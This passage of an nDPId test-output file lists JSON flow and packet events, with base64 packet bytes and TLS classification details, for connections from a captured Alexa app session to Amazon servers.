nF4O08CuvGAQo5PzltBKe9Mxthb90lsaOnMHQ+aKODsIB5bLrgncQgilgJxvCmkeynLp2lQ85x7B8UxuXkNN1p4TyadCWSWalib6rZOXrequp4SOVkD3jfIZ5314tYdZXYU8BzQP60xCX9fmhYwmr8IYB2yants4ZIIu2CXl"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":615,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1490976047014,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34033,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":14580,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8JC1AAEAG7\/2sECrYNu8YuoTxAbsotHSAAAAAAKAC\/\/+r6QAAAgQFtAQCCAoA9lCtAAAAAAEDAwg="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1490976047050,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34034,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":50685,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8zEVAAEAGR+WsECrYNu8YuoTyAbvILJz0AAAAAKAC\/\/\/j9wAAAgQFtAQCCAoA9lCxAAAAAAEDAwg="} +00426{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":71231,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwYANAAOcGDTM27xi6rBAq2AG7hPHQ2dGWKLR0gXASH\/53JwAAAgQFtAEDAwY="} +00413{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":73443,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJC5AAEAG8BCsECrYNu8YuoTxAbsotHSB0NnRl1AQAVfBmAAA"} +00766{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":75090,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErJC9AAEAG7wysECrYNu8YuoTxAbsotHSB0NnRl1AYAVfKZQAAFgMBAP4BAAD6AwPSe8wUiJXpNpYC5p1xsYpcgdnDHHsp6lbLCZ0qkdBUqSAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAg2trMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRysoAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIenoAHQAXABgaGgABAA=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":622,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1490976047014,"flow_last_seen":1490976047075,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34033,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":623,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1490976047096,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45683,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":96758,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Q4ZAAEAGA2msECrYNF7ohrJzAbuRhBMzAAAAAKAC\/\/+poAAAAgQFtAQCCAoA9lC1AAAAAAEDAwg="} +00427{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":107719,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwYitAAOcGCws27xi6rBAq2AG7hPIGkxHQyCyc9XASH\/45RwAAAgQFtAEDAwY="} +00415{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":109306,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAozEZAAEAGR\/isECrYNu8YuoTyAbvILJz1BpMR0VAQAVeDuAAA"} +00767{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":111087,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErzEdAAEAGRvSsECrYNu8YuoTyAbvILJz1BpMR0VAYAVc5bAAAFgMBAP4BAAD6AwOHjgfKXB+EyvQ1n9JLqidhikfJJ6RpsxoH8cEzQ3q86iAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRCgoAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIiooAHQAXABjKygABAA=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":626,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1490976047050,"flow_last_seen":1490976047111,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34034,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00422{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":129729,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoBwBAANsGcj427xi6rBAq2AG7hPHQ2dGXKLR0gVAQARzB0wAAAAAAAAAA"} +00422{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":133588,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoBwFAANsGcj027xi6rBAq2AG7hPHQ2dGXKLR1hFAQASzAwAAAAAAAAAAA"} +00631{"flow_id":52,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":133701,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEBwJAANsGcaA27xi6rBAq2AG7hPHQ2dGXKLR1hFAYASzQLAAAFgMDAGQCAABgAwMyP\/fecoHYX\/cGoH7XipkW53idIn\/OYkaLBKM044m2vyAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACjMLCDqUBTO\/rZ7qHn8QM08BfjkdQdeSIpRVejewnydMKBVtcQVCnii"} +00810{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":632,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":7,"flow_first_seen":1490976047014,"flow_last_seen":1490976047133,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34033,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00415{"flow_id":52,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":134533,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJDBAAEAG8A6sECrYNu8YuoTxAbsotHWE0NnSM1AQAVu\/9QAA"} +00484{"flow_id":52,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":134968,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbJDFAAEAG79qsECrYNu8YuoTxAbsotHWE0NnSM1AYAVtp9gAAFAMDAAEBFgMDACgAAAAAAAAAAB5+QHcCy7hTVmLHlCrKIY891MuDynMTvulSegEzf7o6"} +01459{"flow_id":52,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":146003,"pkt_caplen":820,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":820,"pkt_l4_len":786,"pkt":"AMDKkaPvePiC0\/vCCABFAAMmJDJAAEAG7Q6sECrYNu8YuoTxAbsotHW30NnSM1AYAVv4fgAAFwMDAvkAAAAAAAAAAcx54JmeuS10AT9KUjaz3ZIVv9bZ\/3ctMYZwgIYFRc4vwpsTgZOsMPqd2Ox960CGMzFf5M9pQsuKs7KO5OreMbPcCAV7XFeeyiGApovF9VXHWJaKEb7B0sUaUCNKhb8BMk1oZsmfg54qPXZ20XzapdYHuLjw+esiQ3WbUfEkU3lwZTKTgOHJ2moiEmRNdwu4cfmjgRU9D3jVgoFymoiYOD6k\/j9HWn+Dxd20f8SNwYxccunUPhuewsbhY5AGH2+iO3y1IjKIEGQY1PVBd7Er0MfsbuA\/SUFOO8QDQnN+XOu3k1lhfuLNqZlwSUWSkLA96AGz+oShXITAoa0p0Q8y4AZCKtbU3y0\/E\/A+z1rsIptLAymFSPAbyJMnsTK9iq2ttsb73vq\/si3WG2LZXnepCAYc0AoJpLQkGwj0rv4rdmiYBimU67+oD6z\/VKP5RaIre0zmzUcGY6N6Dkl5XXLB1hyz3KnjjgtBBLMwhTEldg8Z1frEXQRm56eNeZrBz\/4zJ5EdZf9c8eFkLQRJDIHFCDalyagTNNMmRnlU\/9OwId9ScedewcTbuesb+8tBabm5bV3vhWXfNDg0wkgx\/NpuaWqHVboSwxeloQuddCpJt7eFom95q\/vNEFg1DsW8xEqYZl14byoDfwTMxrh8dk7Ok5T\/g\/gXdTe3QpLseWiYx0qEAnobp\/Y+IVZ633IFmC2AcvRKVzJWtdUps4NQNOqnfK45lIcwXrOuqH8Hn\/Rebao\/fKmCmR2tZlrJYqh04WU7Owae1n33xqMUf5ALgA6ZfICjAIQzM4PhoaS+bSJCmcwbvMEmGrlAjR4qLnfL073VjYci7ys9HPpPRFmm2ph6czJNwjnlvnT\/cxJaqJylnFIZJzvDCrLfrkw9d4w6v+Qo8btWqTXERJq05BxVd41MtoUj5UIVwYAZJZg4GGKcjM3G8vNauE5B9gPTTK7Ugmm1OIdvoaFQ0hhdK8KcO5goVqQrOnF2cDafoS3UIA9RyCJchg=="} +00427{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":154862,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwRp1AAOcGWV00XuiGrBAq2AG7snPq5wFokYQTNHASH\/4rBwAAAgQFtAEDAwY="} +00414{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":155806,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ4dAAEAGA3ysECrYNF7ohrJzAbuRhBM06ucBaVAQAVd1eAAA"} +00738{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":156667,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXQ4hAAEAGAoysECrYNF7ohrJzAbuRhBM06ucBaVAYAVetQwAAFgMBAOoBAADmAwPpgUoR+zK1io939odz8bqrlk+DvqS0v3DALb7a+kUiQCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9SkoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACIqKAB0AFwAYGhoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":638,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":4,"flow_first_seen":1490976047096,"flow_last_seen":1490976047156,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45683,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00422{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":164510,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoxWZAANsGs9c27xi6rBAq2AG7hPIGkxHRyCyc9VAQARyD8wAAAAAAAAAA"} +00422{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":169278,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoxWdAANsGs9Y27xi6rBAq2AG7hPIGkxHRyCyd+FAQASyC4AAAAAAAAAAA"} +00629{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":169413,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADExWhAANsGszk27xi6rBAq2AG7hPIGkxHRyCyd+FAYASwSIQAAFgMDAGQCAABgAwOn1fo+swPnLkOwNQbXuOFdWVy\/oC3rjvLrnjYIbdkRCSAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACgGf7sVUH2dueYdvgPH\/6ULIjQ6Sw3FzHOToH9tZ7ISQ8nQCtzL5ihH"} +00810{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":641,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":7,"flow_first_seen":1490976047050,"flow_last_seen":1490976047169,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34034,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00415{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":170378,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAozEhAAEAGR\/asECrYNu8YuoTyAbvILJ34BpMSbVAQAVuCFQAA"} +00485{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":170645,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbzElAAEAGR8KsECrYNu8YuoTyAbvILJ34BpMSbVAYAVvjlwAAFAMDAAEBFgMDACgAAAAAAAAAAKkrW6jYA92r8fgxBOnEadGYlxCo1\/QzhHlmwLBya6jy"} +01455{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":193531,"pkt_caplen":820,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":820,"pkt_l4_len":786,"pkt":"AMDKkaPvePiC0\/vCCABFAAMmzEpAAEAGRPasECrYNu8YuoTyAbvILJ4rBpMSbVAYAVvMLAAAFwMDAvkAAAAAAAAAAQGiim6vqRb1hZSmxgRWrcKu1i5RuXpIX86FMLd0DChNPKyb2eEUo6v8LHWIpYn7Lr+3KF6Nra3fNXPAXtVfBF2zjNSQaJz\/FH1wJcF4o6kMr7KZYg0BmGTepnR0hUuh5dZCkwx49nisEt1zDQO2cEMJZd2TbULnt0scCphOIHjiGBWMMQFd\/E1ykFVXCqDudeCdh6V1AkVaVyQ+uv98smhSMh1ov79FopkEdF+nUj4KiQKnbXwM7\/Z4YvPJCIkZFdBakTmLpX\/dMYz\/yFRf3D5IFOjrfVuKrXrqdoDFqVDaBopxanBjidWtoYubkKyO2wqm3hBB3B7DEiC8xwomCU+qrq8WFxsV22leKl4jIoq60wrLgGJN\/fK1Mt76M2EN4Qb6\/piyem1+n1MWQm2ndmZVZPPz8vcADa+snxoEXZSMYaq4h66edSMn+GbArPLEqOacwQAsQqdkYz08NuMzrrX47XJfS3r5f4qxikj9V2e9EoZY6gNpUf5ohjKcMvkzpm5COyWu+IA2XaJ9gPIjKnd3EFOcbAerbAmkDws\/o+2LxO+FtwkmHXugiHcC9Is\/36M0wFhMx8FmDW\/nUTnrOVr0w5F6Ctp47Lkj1C5\/PRY4L4TTleBc4ZlshROVke7JgZ0hcojuHzsvNxl3u7xlhf92IGS0ZR+MudncMNcJgDO9gA\/IN\/ROBhZxg2yjxdsJMOa0Op+iVqyLMLevMFocPAUU3gaC+RON8kgijNexdslcC+sA5SDelwgpNGNlf2Rm+89YWRW3T93x7xfb5xMRFL1y5e827yzKtV0XeMYSb03ynoZkaC0hfBZrFH1lMuECmBh4TIsFfcLTxm66wI+iItNp5W243XFHvfM0VLWpwyteh4kUrXBWmPf7cLE7UBMoGQky2NJPbyBxcg34Ryr5GYyWFzg4OGUoBc9hM8WbmxOJGkg0UAy9eCfYasR2wTy51BugAtq3mD6Wnk2Fp2XWdT16xPtTvXJKfS3MZa5lVxkG9A=="} +00534{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":217627,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9T+pAAOcGT8M0XuiGrBAq2AG7snPq5wFpkYQUI1AYf\/jAygAAFgMBAEoCAABGAwFY3n0vHwUTKh3kRQicQrFbwZi3ae4Tj1002+Y32pnlTCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":645,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":5,"flow_first_seen":1490976047096,"flow_last_seen":1490976047217,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45683,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00489{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":217806,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdUAVAAOcGT8g0XuiGrBAq2AG7snPq5wG+kYQUI1AYf\/hlPgAAFgMBADAFstU4O48FFKnsq96DRhn6BmvmDlkeJmD4BEWUoY6SO6YVcyL6Vtc8D2agPyfeZgM="} +00602{"flow_id":54,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":217855,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"ePiC0\/vCAMDKkVoBCABFAACyT+pAAOcGT440XuiGrBAq2AG7snPq5wFpkYQUI1AYf\/ipBQAAFgMBAEoCAABGAwFY3n0vHwUTKh3kRQicQrFbwZi3ae4Tj1002+Y32pnlTCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABARYDAQAwBbLVODuPBRSp7Kveg0YZ+gZr5g5ZHiZg+ARFlKGOkjumFXMi+lbXPA9moD8n3mYD"} 